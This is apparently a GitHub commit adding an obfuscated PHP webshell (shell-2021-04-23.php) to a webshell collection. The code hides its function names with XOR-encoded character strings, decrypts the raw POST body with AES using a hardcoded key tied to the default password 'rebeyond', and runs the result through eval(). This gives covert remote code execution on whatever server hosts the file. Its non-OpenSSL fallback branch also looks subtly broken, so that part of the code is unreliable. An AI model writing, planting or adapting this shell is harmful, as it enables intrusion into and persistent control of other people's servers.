Create shell-2021-04-23.php

from : https://mp.weixin.qq.com/s/xWw8zWSD4CZn-PQWOCh1bg
author: wxjjh
This commit is contained in:
tennc 2021-04-23 21:52:06 +08:00 committed by GitHub
parent 9cbc8d5820
commit 0996c99902
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -0,0 +1,28 @@
<?php
@error_reporting(0);
session_start();
$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);
$f='file'.'_get'.'_contents';
$p='{{{{{{{{{{{'^chr(11).chr(19).chr(11).chr(65).chr(84).chr(84).chr(18).chr(21).chr(11).chr(14).chr(15);
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位默认连接密码rebeyond
$_SESSION['k']=$key;
$post=$f($p);
if(!extension_loaded('openssl'))
{
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$key = $key[$i+1&15];
$post[$i] = $port[$i]^$key;
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function b($p) {eval($p."");}}
@call_user_func(array(C,b),$params);
?>